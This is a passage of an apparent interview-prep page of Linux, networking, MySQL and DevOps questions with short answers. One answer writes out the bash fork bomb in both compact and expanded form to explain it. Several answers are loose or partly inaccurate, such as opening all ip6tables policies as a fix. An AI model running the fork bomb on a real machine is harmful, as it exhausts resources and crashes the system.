<div class="highlight"><pre><code class="language-bash" data-lang="bash">If you rebooted server and http server is not running after it, so first you need to check it configuration file and the server error log where you can find the proble why server is not running, and after you can run it manually with init<span class="se">\u</span>pstart<span class="se">\s</span>ystemd script, <span class="k">if</span> you want that server run automatically you need <span class="nb">enable </span>autostart <span class="k">for</span> it.
You can run one of this <span class="nb">command</span>:
<span class="nv">$ </span>chkconfig nginx on <span class="o">(</span><span class="k">for</span> centos<span class="se">\r</span>hel<span class="o">)</span>
<span class="nv">$ </span>update-rc.d nginx <span class="nb">enable</span> <span class="o">(</span><span class="k">for</span> debian<span class="se">\u</span>buntu<span class="o">)</span>
<span class="nv">$ </span>systemctl <span class="nb">enable </span>nginx <span class="o">(</span><span class="k">for</span> linux with systemd<span class="o">)</span></code></pre></div>
<ul>
<li>What kind of keys are in ~/.ssh/authorized_keys and what it is this file used for?</li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">This is a public ssh key.
With public key authentication, the authenticating entity has a public key and a private key. Each key is a large number with special mathematical properties. The private key is kept on the computer you log in from, <span class="k">while</span> the public key is stored on the .ssh/authorized_keys file on all the computers you want to log in to.</code></pre></div>
<p><a href="https://help.ubuntu.com/community/SSH/OpenSSH/Keys">Read More</a></p>
<ul>
<li>I’ve added my public ssh key into authorized_keys but I’m still getting a password prompt, what can be wrong?</li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">Maybe your ~/.ssh/authorized_keys permissions are too open by OpenSSH standards.
You need to check this and fix with:
chmod <span class="m">700</span> ~/.ssh
chmod <span class="m">600</span> ~/.ssh/authorized_keys
Maybe remote server is configured to disable public keys, you can check it in /etc/sshd_config configuration file where PubkeyAuthentication option must be <span class="nb">set </span>to YES
Maybe it is something with you <span class="nb">local </span>ssh configuration ~/.ssh/config</code></pre></div>
<ul>
<li>Did you ever create RPM’s, DEB’s or solaris pkg’s?</li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">For RPM you need to create a spec file</code></pre></div>
<p><a href="https://fedoraproject.org/wiki/How_to_create_an_RPM_package">Read More</a>
<a href="https://wiki.debian.org/IntroDebianPackaging">Read More</a></p>
<ul>
<li>What does <code>:(){ :|:& };:</code> do on your system?</li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">This is a fork bomb using the Bash shell
In computing, a fork bomb <span class="o">(</span>also called rabbit virus or wabbit<span class="o">[</span>1<span class="o">])</span> is a denial-of-service attack wherein a process continually replicates itself to deplete available system resources, causing resource starvation and slowing or crashing the system.
We can rewrite this code in this way:
bomb<span class="o">()</span> <span class="o">{</span>
bomb <span class="p">|</span> bomb <span class="p">&</span>
<span class="o">}</span><span class="p">;</span>
bomb
The fork bomb in this <span class="k">case</span> is a recursive <span class="k">function</span> that runs in the background, thanks to the ampersand operator. This ensures that the child process does not die and keeps forking new copies of the <span class="k">function</span>, consuming system resources.</code></pre></div>
<p><a href="https://en.wikipedia.org/wiki/Fork_bomb">Read More</a></p>
<ul>
<li>How do you catch a Linux signal on a script?</li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">There is a <span class="nb">trap command </span>that allows you to catch a linux signal and execute a <span class="nb">command </span>when a signal is received by your shell script. It works like this:
<span class="nv">$ </span><span class="nb">trap </span>arg signals
So in real script you can write somethins like this:
<span class="nb">trap</span> <span class="s2">"rm $TEMP_FILE; exit"</span> SIGHUP SIGINT SIGTERM
Here we have added a <span class="nb">trap command </span>that will execute <span class="s2">"rm $TEMP_FILE"</span> <span class="k">if</span> any of the listed signals is received.</code></pre></div>
<p><a href="http://linuxcommand.org/wss0160.php">Read More</a></p>
<ul>
<li>Can you catch a SIGKILL?</li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">SIGKILL or signal <span class="m">9</span> is one signal that you cannot <span class="nb">trap </span>and catch. The linux kernel immediately terminates any process sent this signal and no signal handling is performed. Since it will always terminate a program that is stuck, hung, or otherwise screwed up, it is tempting to think that it<span class="err">'</span>s the easy way out when you have to get something to stop and go away.</code></pre></div>
<ul>
<li>
<p>What’s happening when the Linux kernel is starting the OOM killer and how does it choose which
process to kill first?</p>
</li>
<li>
<p>Describe the linux boot process with as much detail as possible, starting from when the system is powered on and ending when you get a prompt.</p>
</li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">The first step of the boot process is the BIOS <span class="o">(</span>Basic Input Output System<span class="o">)</span>.
The BIOS initializes hardware, including detecting hard drives, USB disks, CD-ROMs, network cards, and any other hardware.
The BIOS will <span class="k">then</span> go step-by-step through each boot device based on the boot device order it is configured to follow <span class="k">until</span> it finds one it can successfully boot from. In the <span class="k">case</span> of a Linux server, that usually means reading the MBR <span class="o">(</span>master boot record: the first <span class="m">512</span> bytes on a hard drive<span class="o">)</span> and loading and executing the boot code inside the MBR to start the boot process.
After the BIOS initializes the hardware and finds the first device to boot, the boot loader takes over. The following list shows the boot loader depending on the device from a boot starts:
GRUB : boot from a hard drive
syslinux : boot from a USB
isolinux : boot from a CD-ROM
pxelinux : boot from a network
Once we <span class="k">select</span> a particular kernel in GRUB, GRUB will load the Linux kernel into RAM and execute it.
Usually GRUB will also load an initrd <span class="o">(</span>initial RAM disk<span class="o">)</span> along with the kernel. initrd <span class="o">(</span>initial RAM disk<span class="o">)</span> has some crucial configuration files, kernel modules, and programs that the kernel needs in order to find and mount the real root file system.
The final step is to execute the /sbin/init program, which takes over the rest of the boot process.
The /sbin/init program is the parent process of every program running on the system. This process always has a PID of <span class="m">1</span> and is responsible <span class="k">for</span> starting the rest of the processes that make up a running Linux system.
Here is the list of how we initialize a NIX OS:
System V init such as runlevels and /etc/rc?.d directories - the init process reads a configuration file called /etc/inittab to discover its default runlevel. It <span class="k">then</span> enters that runlevel and starts processes that have been configured to run at that runlevel. Linux distros: Debian <span class="m">6</span> and earlier<span class="se">\U</span>buntu 9.04 and earlier<span class="se">\C</span>entOS <span class="m">5</span> and earlier
Upstart - Upstart was designed not only to address some of the shortcomings of the System V init process, but also to provide a more robust system <span class="k">for</span> managing services.
One main feature of Upstart is that it is event-driven. Upstart constantly monitors the system <span class="k">for</span> certain events to occur, and when they <span class="k">do</span>, Upstart can be configured to take action based on those events.
Upstart scripts reside in /etc/init. Linux distros: Ubuntu 9.10 to Ubuntu 14.10, including Ubuntu 14.04
CentOS 6
systemd is the init system <span class="k">for</span> the most recent linux distros: Debian <span class="m">7</span> and Debian 8<span class="se">\U</span>buntu 15.04<span class="se">\C</span>entOS 7</code></pre></div>
<p><a href="https://en.wikipedia.org/wiki/Linux_startup_process">Read More</a></p>
<ul>
<li>
<p>What’s a chroot jail?</p>
</li>
<li>
<p>When trying to umount a directory it says it’s busy, how to find out which PID holds the directory?</p>
</li>
<li>
<p>What’s LD_PRELOAD and when it’s used?</p>
</li>
<li>
<p>You ran a binary and nothing happened. How would you debug this?</p>
</li>
<li>
<p>What are cgroups? Can you specify a scenario where you could use them?</p>
</li>
</ul>
<h3 id="expert-linux-questions">[[⬆]]Expert Linux Questions:</h3>
<ul>
<li>A running process gets <code>EAGAIN: Resource temporarily unavailable</code> on reading a socket. How can you close this bad socket/file descriptor without killing the process?</li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span>man errno <span class="p">|</span> grep EAGAIN
EAGAIN is just means <span class="s2">"there's nothing to read now; try again later"</span>.</code></pre></div>
<h3 id="networking-questions">[[⬆]]Networking Questions:</h3>
<ul>
<li>What is localhost and why would <code>ping localhost</code> fail?</li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">A localhost is the standard hostname given to the address assigned to the loopback network interface. Translated into an IP address, a localhost is always designated as 127.0.0.1.
Ping can fail <span class="k">if</span> loopback interface is down, also it is possible to configure <span class="nb">local </span>iptables<span class="o">(</span>firewall<span class="o">)</span> in such a way as to drop all packets received on localhost.
Also it is possible that icmp_echo is disable with sysctl net.ipv4.icmp_echo_ignore_all<span class="o">=</span>1</code></pre></div>
<ul>
<li>What is the similarity between “ping” & “traceroute” ? How is traceroute able to find the hops.</li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">Both of this programs can be used to troubleshoot connection problems.
Traceroute shows you the path that packets take from your <span class="nb">local </span>system to a remote host. You see the response <span class="nb">time </span>to each step along the way, because each datagram <span class="o">(</span>Unix <span class="s2">"traceroute"</span> uses UDP datagrams by default, but you can also choose between ICMP, TCP rather than ICMP on Windows<span class="o">)</span> has a TTL <span class="o">(</span><span class="nb">time</span>-to-live<span class="o">)</span> that<span class="err">'</span>s one hop longer than the previous one.
By default you need a superuser privileges to run ping and traceroute with ICMP option
<span class="nv">$ </span>ping example.com
ping: icmp open socket: Operation not permitted
<span class="nv">$ </span>traceroute -I example.com
You have no enough privileges to use this traceroute method.</code></pre></div>
<p><a href="https://serverfault.com/questions/68307/what-is-the-difference-between-ping-and-tracert">Read More</a></p>
<ul>
<li>What is the command used to show all open ports and/or socket connections on a machine?</li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span>lsof -i
<span class="nv">$ </span>netstat -natupx
<span class="nv">$ </span>ss -lptuxa</code></pre></div>
<ul>
<li>Is 300.168.0.123 a valid IPv4 address?</li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">No, IPv4 addresses are canonically represented in dot-decimal notation, which consists of four decimal numbers, each ranging from <span class="m">0</span> to 255, separated by dots, e.g., 172.16.254.1. Each part represents a group of <span class="m">8</span> bits <span class="o">(</span>octet<span class="o">)</span> of the address. So <span class="m">2</span> ** <span class="nv">8</span> <span class="o">=</span> 256<span class="o">(</span>255<span class="o">)</span> is a max number <span class="k">for</span> each octet.</code></pre></div>
<p><a href="https://en.wikipedia.org/wiki/IP_address">Read More</a></p>
<ul>
<li>Which IP ranges/subnets are “private” or “non-routable” (RFC 1918)?</li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">The Internet Assigned Numbers Authority <span class="o">(</span>IANA<span class="o">)</span> has reserved the following three blocks of the IP address space <span class="k">for</span> private internets:
10.0.0.0 - 10.255.255.255 <span class="o">(</span>10/8 prefix<span class="o">)</span>
172.16.0.0 - 172.31.255.255 <span class="o">(</span>172.16/12 prefix<span class="o">)</span>
192.168.0.0 - 192.168.255.255 <span class="o">(</span>192.168/16 prefix<span class="o">)</span></code></pre></div>
<p><a href="https://tools.ietf.org/html/rfc1918">Read More</a></p>
<ul>
<li>What is a VLAN?</li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">A virtual LAN <span class="o">(</span>VLAN<span class="o">)</span> is any broadcast domain that is partitioned and isolated in a computer network at the data link layer <span class="o">(</span>OSI layer 2<span class="o">)</span>.
To subdivide a network into virtual LANs, one configures a network switch or router. Simpler network devices can only partition per physical port <span class="o">(</span><span class="k">if</span> at all<span class="o">)</span>, in which <span class="k">case</span> each VLAN is connected with a dedicated network cable <span class="o">(</span>and VLAN connectivity is limited by the number of hardware ports available<span class="o">)</span>. More sophisticated devices can mark packets through tagging, so that a single interconnect <span class="o">(</span>trunk<span class="o">)</span> may be used to transport data <span class="k">for</span> multiple VLANs. Since VLANs share bandwidth, a VLAN trunk might use link aggregation and/or quality of service prioritization to route data efficiently.</code></pre></div>
<p><a href="https://en.wikipedia.org/wiki/Virtual_LAN">Read More</a></p>
<ul>
<li>What is ARP and what is it used for?</li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">The Address Resolution Protocol <span class="o">(</span>ARP<span class="o">)</span> is a protocol used <span class="k">for</span> resolution of network layer addresses into link layer addresses, a critical <span class="k">function</span> in multiple-access networks. ARP is used <span class="k">for</span> mapping a network address <span class="o">(</span>e.g. an IPv4 address<span class="o">)</span> to a physical address like an Ethernet address <span class="o">(</span>also named a MAC address<span class="o">)</span>.
When we try to ping an IP address on our <span class="nb">local </span>network, say 192.168.1.2, our system has to turn the IP address 192.168.1.2 into a MAC address. This involves using ARP to resolve the address, hence its name.</code></pre></div>
<p><a href="https://en.wikipedia.org/wiki/Address_Resolution_Protocol">Read More</a></p>
<ul>
<li>What is the difference between TCP and UDP?</li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">TCP is connection-oriented protocol.
UDP is connectionless protocol
TCP provides delivery guarantee
UDP is unreliable, it doesn<span class="s1">'t provide any delivery guarantee.</span>
<span class="s1">TCP guarantees order of message</span>
<span class="s1">UDP doesn'</span>t provide any ordering or sequencing guarantee
TCP is slow
UDP is fast
TCP has bigger header than UDP</code></pre></div>
<p><a href="http://javarevisited.blogspot.ru/2014/07/9-difference-between-tcp-and-udp-protocol.html">Read More</a></p>
<ul>
<li>What is the purpose of a default gateway?</li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">A default gateway in computer networking is the node that is assumed to know how to forward packets on to other networks. Typically in a TCP/IP network, nodes such as servers, workstations and network devices each have a defined default route setting, <span class="o">(</span>pointing to the default gateway<span class="o">)</span>, defining where to send packets <span class="k">for</span> IP addresses <span class="k">for</span> which they can determine no specific route. The gateway is by definition a router.</code></pre></div>
<p><a href="https://en.wikipedia.org/wiki/Default_gateway">Read More</a></p>
<ul>
<li>What is command used to show the routing table on a Linux box?</li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">You can use one of this:
<span class="nv">$ </span>route -n
<span class="nv">$ </span>netstat -rn
<span class="nv">$ </span>ip route list</code></pre></div>
<ul>
<li>A TCP connection on a network can be uniquely defined by 4 things. What are those things?</li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">remote-ip-address, remote-port, <span class="nb">source</span>-ip-address, <span class="nb">source</span>-port</code></pre></div>
<ul>
<li>When a client running a web browser connects to a web server, what is the source port and what is the destination port of the connection?</li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">destination port - is <span class="m">80</span> <span class="k">for</span> HTTP or <span class="m">443</span> <span class="k">for</span> HTTPS
<span class="nb">source </span>port - will be random number from option net.ipv4.ip_local_port_range, by default it will be something like between <span class="m">32768</span> and <span class="m">61000</span> <span class="o">(</span>around 28K <span class="nb">source </span>ports available <span class="o">(</span><span class="k">for</span> a single destination IP:port<span class="o">))</span></code></pre></div>
<p><a href="https://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xhtml">Read More</a></p>
<ul>
<li>How do you add an IPv6 address to a specific interface?</li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">Using ip:
Usage: /sbin/ip -6 addr add <ipv6address>/<prefixlength> dev <interface>
Example: /sbin/ip -6 addr add 2001:0db8:0:f101::1/64 dev eth0
Using ifconfig:
Usage: /sbin/ifconfig <interface> inet6 add <ipv6address>/<prefixlength>
Example: /sbin/ifconfig eth0 inet6 add 2001:0db8:0:f101::1/64
It is temporarily, you will lost this configuration after reboot. To add permanent ipv6 you need to add option to config file, on Fedora, Redhat Enterprise Linux, and clones like Centos add lines to these files:
/etc/sysconfig/network
<span class="nv">NETWORKING_IPV6</span><span class="o">=</span>yes
<span class="nv">IPV6FORWARDING</span><span class="o">=</span>no
<span class="nv">IPV6_AUTOCONF</span><span class="o">=</span>no
<span class="nv">IPV6_AUTOTUNNEL</span><span class="o">=</span>no
<span class="nv">IPV6_DEFAULTGW</span><span class="o">=</span>fe80::1
<span class="nv">IPV6_DEFAULTDEV</span><span class="o">=</span>eth0
/etc/sysconfig/network-scripts/ifcfg-eth0
<span class="nv">IPV6INIT</span><span class="o">=</span>yes
<span class="nv">IPV6ADDR</span><span class="o">=</span>2607:f388:xxxx:yyyy::zzzz/64 <span class="c"># replace with your static address</span>
For Debian and derivatives like Ubuntu add lines to these files:
/etc/sysctl.conf
net.ipv6.conf.eth0.accept_ra<span class="o">=</span>0
/etc/network/interfaces
iface lo0 inet6 loopback
iface eth0 inet6 static
address 2607:f388:xxxx:yyyy::zzzz <span class="c"># replace with your static address</span>
netmask 64
gateway fe80::1</code></pre></div>
<ul>
<li>You have added an IPv4 and IPv6 address to interface eth0. A ping to the v4 address is working but a ping to the v6 address gives yout the response <code>sendmsg: operation not permitted</code>. What could be wrong?</li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">This means that your server is not allowed to send ICMP packets.
Check firewall rules:
<span class="nv">$ </span>ip6tables -P INPUT ACCEPT
<span class="nv">$ </span>ip6tables -P OUTPUT ACCEPT
<span class="nv">$ </span>ip6tables -P FORWARD ACCEPT</code></pre></div>
<ul>
<li>What is SNAT and when should be used?</li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">Source Network Address Translation <span class="o">(</span>SNAT<span class="o">)</span> - changes the <span class="nb">source </span>address in IP header of a packet. It may also change the <span class="nb">source </span>port in the TCP/UDP headers. The typical usage is to change the a private <span class="o">(</span>rfc1918<span class="o">)</span> address/port into a public address/port <span class="k">for</span> packets leaving your network.</code></pre></div>
<p><a href="http://www.commercialventvac.com/finao/DNATs-and-SNATs.html">Read More</a></p>
<ul>
<li>Explain how could you ssh login into a Linux system that DROPs all new incomming packets using a SSH tunnel.</li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">Need to <span class="nv">think</span> <span class="o">=)</span></code></pre></div>
<ul>
<li>How do you stop a DDoS?</li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">It is very complicated questions.
Before to <span class="k">do</span> something you need answer a lot of questions.
Simple way is:
- Limiting the ammount of concurrent connections from ddos IP address to your Server with firewall rules.
- Optimize you server configuration options</code></pre></div>
<p><a href="https://www.reddit.com/r/linux/comments/1klq5r/preventing_a_dos_attack/">Read More</a></p>
<ul>
<li>How can you see content of ip packet?</li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">You can use tcpdump<span class="se">\t</span>shark to display captured packets in HEX and ASCII
<span class="nv">$ </span>tcpdump -XX -i eth0
<span class="nv">$ </span>tshark -i eth0 -x
You can write a python<span class="se">\c</span> script <span class="k">for</span> this
import socket
<span class="nv">s</span> <span class="o">=</span> socket.socket<span class="o">(</span>socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP<span class="o">)</span>
<span class="k">while</span> True:
print s.recvfrom<span class="o">(</span>65565<span class="o">)</span></code></pre></div>
<p><a href="http://www.binarytides.com/packet-sniffer-code-c-linux/">Read More</a></p>
<h3 id="mysql-questions">[[⬆]]MySQL questions:</h3>
<ul>
<li>How do you create a user?</li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span>mysql -u root -ppassword -hsomehost -e <span class="s1">'CREATE USER login@"ip";'</span></code></pre></div>
<ul>
<li>How do you provide privileges to a user?</li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="c"># read only</span>
GRANT <span class="k">select</span> ON somedb.* TO <span class="s1">'login'</span>@<span class="s1">'ip'</span> IDENTIFIED BY <span class="s1">'agoodpassword'</span><span class="p">;</span>
<span class="c"># all privileges</span>
GRANT all privileges ON somedb.* TO <span class="s1">'login'</span>@<span class="s1">'ip'</span> IDENTIFIED BY <span class="s1">'agoodpassword'</span><span class="p">;</span></code></pre></div>
<ul>
<li>What is the difference between a “left” and a “right” join?</li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">Table from which you are taking data is <span class="s1">'LEFT'</span>.
Table you are joining is <span class="s1">'RIGHT'</span>.
LEFT JOIN: Take all items from left table AND <span class="o">(</span>only<span class="o">)</span> matching items from right table.
RIGHT JOIN: Take all items from right table AND <span class="o">(</span>only<span class="o">)</span> matching items from left table.
Most people only use LEFT JOIN since it seems more intuitive</code></pre></div>
<ul>
<li>Explain briefly the differences between InnoDB and MyISAM.</li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">MYISAM:
- MYISAM supports Table-level Locking
- MyISAM designed <span class="k">for</span> need of speed
- MyISAM does not support foreign keys hence we call MySQL with MYISAM is DBMS
- MyISAM stores its tables, data and indexes in diskspace using separate three different files. <span class="o">(</span>- tablename.FRM, tablename.MYD, tablename.MYI<span class="o">)</span>-
- MYISAM not supports transaction. You cannot commit and rollback with MYISAM. Once you issue a c- ommand - it’s <span class="k">done</span>.
- MYISAM supports fulltext search
You can use MyISAM, <span class="k">if</span> the table is more static with lots of <span class="k">select</span> and less update and delete.
INNODB:
- InnoDB supports Row-level Locking
- InnoDB designed <span class="k">for</span> maximum performance when processing high volume of data
- InnoDB support foreign keys hence we call MySQL with InnoDB is RDBMS
- InnoDB stores its tables and indexes in a tablespace
- InnoDB has better crash recovery.
- InnoDB supports transaction. You can commit and rollback with InnoDB</code></pre></div>
<ul>
<li>Describe briefly the steps you need to follow in order to create a simple master/slave cluster.</li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">AT Master:
- <span class="nb">enable </span>binlog
- <span class="nb">set </span>server-id<span class="o">=</span>1
- create user with replication grant
- create dump with master-data
AT Slave:
- <span class="nb">enable </span>binlog <span class="se">\ </span>relay-log
- <span class="nb">set </span>server-id<span class="o">=</span>2
- restore dump
- <span class="nb">set </span>master_host <span class="se">\ </span>master_log_file <span class="se">\ </span>maste_log_pos</code></pre></div>
<ul>
<li>Why should you run “mysql_secure_installation” after installing MySQL?</li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">mysql_secure_installation is a script that improve MySQL installation security in the following ways:
- <span class="nb">set </span>a password <span class="k">for</span> root accounts
- remove root accounts that are accessible from outside the <span class="nb">local </span>host
- remove anonymous-user accounts
- can remove the <span class="nb">test </span>database <span class="o">(</span>which by default can be accessed by all users, even anonymous users<span class="o">)</span>, and privileges that permit anyone to access databases with names that start with test_</code></pre></div>
<ul>
<li>How do you check which jobs are running?</li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span>mysql -e <span class="s2">"show full processlist"</span></code></pre></div>
<h3 id="devops-questions">[[⬆]]DevOps Questions:</h3>
<ul>
<li>Can you describe your workflow when you create a script?</li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">1. Create<span class="se">\c</span>heck task in tfs<span class="se">\j</span>ira
2. Analysis task description.
3. Analysis current script collection.
4. Analysis internet <span class="k">for</span> same job<span class="se">\p</span>roblem.
5. Write and <span class="nb">test </span>script prototype in <span class="nb">test </span>environment.
6. Commit script to git<span class="se">\s</span>vn
7. Build package<span class="se">\u</span>se CMS to deploy script in production.
8. Close task in tfs<span class="se">\j</span>ira</code></pre></div>
<ul>
<li>What is GIT?</li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">Git is a distributed version control system developed by Linus Torvalds</code></pre></div>
<ul>
<li>What is a dynamically/statically linked file?</li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">Statically file means that the linker program <span class="o">(</span>ld<span class="o">)</span> after <span class="nb">source </span>code compilation adds all librarys and other dependencies directly to executable file
Dynamically file means that the above step doesn<span class="s1">'t happen. The operating system'</span>s loader needs to find the dependencies code, load it into memory, each <span class="nb">time </span>the program is run.</code></pre></div>
<ul>
<li>What does “configure && make && make install” do?</li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">This commands is need <span class="k">if</span> you what to build software from <span class="nb">source </span>code.
Configure - is a script which is responsible <span class="k">for</span> getting ready to build the software on your specific system. It makes sure all of the dependencies <span class="k">for</span> the rest of the build and install process are available, and finds out whatever it needs to know to use those dependencies.
Make - is a <span class="nb">command </span>which runs a series of tasks defined in a Makefile to build the finished program from its <span class="nb">source </span>code.
Make install - is a <span class="nb">command </span>which will copy the built program, and its libraries and documentation, to the correct locations.</code></pre></div>
<ul>
<li>What is puppet/chef/ansible used for?</li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">Puppet/Chef/Ansible - are a free software platform <span class="k">for</span> configuring and managing computers.</code></pre></div>
<ul>
<li>How do you create a new postgres user?</li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span>psql -c <span class="s2">"CREATE USER testuser WITH PASSWORD 'XXXXX';"</span></code></pre></div>
<ul>
<li>What is a virtual IP address? What is a cluster?</li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">A virtual IP address <span class="o">(</span>VIP or VIPA<span class="o">)</span> is an IP address that doesn<span class="err">'</span>t correspond to an actual physical network interface <span class="o">(</span>port<span class="o">)</span>. Uses <span class="k">for</span> VIPs include Network Address Translation <span class="o">(</span>especially, One-to-many NAT<span class="o">)</span>, fault-tolerance, and mobility.
Virtual IP addresses are commonly used to <span class="nb">enable </span>high availability. A standard failover design uses an active/passive server pair connected by replication and watched by a cluster manager. The active server listens on a virtual IP address<span class="p">;</span> applications use it <span class="k">for</span> connections instead of the normal host IP address. Should the active server fail, the cluster manager promotes the passive server and shifts the floating IP address to the newly promoted host. Application connections <span class="nb">break </span>and <span class="k">then</span> reconnect to the VIP again, which points them to the new server.
Cluster is a <span class="nb">set </span>of loosely or tightly connected computers that work together so that, in many respects, they can be viewed as a single system.</code></pre></div>
<ul>
<li>How do you print all strings of printable characters present in a file?</li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">Use cmd /usr/bin/strings
<span class="nv">$ </span>strings /path/somefile</code></pre></div>
<ul>
<li>How do you find shared library dependencies?</li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">ldd - print shared library dependencies
<span class="nv">$ </span>ldd /path/somefile
linux-vdso.so.1 <span class="o">(</span>0x00007ffcdabac000<span class="o">)</span>
libselinux.so.1 <span class="o">=</span>> /lib/x86_64-linux-gnu/libselinux.so.1 <span class="o">(</span>0x00007f1a42081000<span class="o">)</span></code></pre></div>
<ul>
<li>What is Automake and Autoconf?</li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">Automake and Autoconf both are parts of The GNU build system, also known as the Autotools, is a suite of programming tools designed to assist in making <span class="nb">source </span>code packages portable to many Unix-like systems.
Automake - is a programming tool to automate parts of the compilation process. It eases usual compilation problems. For example, it points to needed dependencies. It automatically generates one or more Makefile.in from files called Makefile.am. Each Makefile.am contains, among other things, useful variable definitions <span class="k">for</span> the compiled software, such as compiler and linker flags, dependencies and their versions, etc.
Autoconf - generate a configuration script from a TEMPLATE-FILE <span class="k">if</span> given, or configure.ac <span class="k">if</span> present, or <span class="k">else</span> configure.in. Output is sent to the standard output <span class="k">if</span> TEM‐PLATE-FILE is given, <span class="k">else</span> into configure.</code></pre></div>
<ul>
<li>./configure shows an error that libfoobar is missing on your system, how could you fix this, what could be wrong?</li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">Configure could not find libfoobar in LD_LIBRARY_PATH or libfoobar is not installed on your system.
You can fix it by installing libfoobar package with package manager or build it from source.
If libfoobar is already installed just check /etc/ld.so.conf and add right path to libfoobar</code></pre></div>
<ul>
<li>What are the Advantages/disadvantages of script vs compiled program?</li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">Script program have the advantages of:
- flexibility to change the script
- easier to implement <span class="o">(</span>writing good compilers is very hard!!<span class="o">)</span>
- no need to run a compilation stage: can execute code directly <span class="s2">"on the fly"</span>
- being more portable.
Script program have the disadvantages of:
- much slow than compiled program
- <span class="nb">source </span>code is open
Compiled program have the advantages of:
- faster performance by directly using the native code of the target machine
- opportunity to apply quite powerful optimisations during the compile stage
- hides the <span class="nb">source </span>code from the end user
Compiled program have the disadvantages of:
- slow to develop <span class="o">(</span>edit, compile, link and run. The compile/link steps could take serious <span class="nb">time</span><span class="o">)</span>.
- to execute you need to compile a different executable <span class="k">for</span> each <span class="nb">type </span>of processor and/or platform that you want your program to run on</code></pre></div>
<ul>
<li>What’s the relationship between continuous delivery and DevOps?</li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">Continuous delivery<span class="o">(</span>CD<span class="o">)</span> is an agile way of working whereby quality products—normally software assets—can be developed, built, tested, and shipped in quick succession.
DevOps is another way of working whereby developers and system operators work in harmony with little or no organizational barriers between them towards a common goal.</code></pre></div>
<ul>
<li>What are the important aspects of a system of continous integration and deployment?</li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">Automation<span class="se">\t</span>esting are the important aspects of a great development workflow.
Every task that can be <span class="k">done</span> by a machine should be.
Automation gives you the <span class="nb">time </span>to focus.
Through testing, you can be sure that the most important steps your customers will take through your system are working, regardless of the changes you make.
This gives you the confidence to experiment, implement new features, and ship updates quickly.</code></pre></div>
<h3 id="fun-questions">[[⬆]]Fun Questions:</h3>
<ul>
<li>A careless sysadmin executes the following command: <code>chmod 444 /bin/chmod</code> - what do you do to fix this?</li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">Default permission is 755.
Y can use C<span class="se">\C</span>++<span class="se">\P</span>ython<span class="se">\P</span>erl and other language to fix this.
<span class="c">#!/usr/bin/python</span>
import os
os.chmod<span class="o">(</span><span class="s2">"/bin/chmod"</span>, 0755<span class="o">)</span></code></pre></div>
<ul>
<li>I’ve lost my root password, what can I do?</li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">Simple boot in sigle mode and change it.
Change in grub -> <span class="nv">init</span><span class="o">=</span>/bin/bash -> boot -> run <span class="nv">$mount</span> -o remount,rw / -> change root password with <span class="nv">$ </span>passwd root</code></pre></div>
<ul>
<li>I’ve rebooted a remote server but after 10 minutes I’m still not able to ssh into it, what can be wrong?</li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">If it does not ping, maybe proble with network<span class="se">\f</span>irewall
If it pings but you can not to connect to it with ssh maybe problem with ssh config<span class="se">\f</span>irewall rules
Bad permission <span class="k">for</span> ssh keys
Wrong password</code></pre></div>
<ul>
<li>If you were stuck on a desert island with only 5 command-line utilities, which would you choose?</li>
</ul>
